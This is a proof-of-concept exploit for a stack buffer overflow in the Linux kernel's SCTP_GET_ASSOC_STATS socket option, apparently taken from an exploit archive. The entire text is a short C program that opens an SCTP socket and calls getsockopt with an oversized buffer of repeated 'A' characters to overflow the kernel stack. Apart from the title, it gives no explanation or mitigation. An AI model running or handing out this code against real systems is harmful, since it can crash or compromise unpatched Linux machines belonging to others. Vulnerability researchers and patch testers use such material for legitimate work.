Linux Kernel – ‘SCTP_GET_ASSOC_STATS()’ Stack Buffer Overflow (PoC)
#include <stdio.h> #include <string.h> #include <netinet/in.h> #include <sys/socket.h> #define SCTP_GET_ASSOC_STATS 112 #define SOL_SCTP 132 int main(void) { char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; socklen_t len = strlen(buf); int fd; fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len); return 0; } |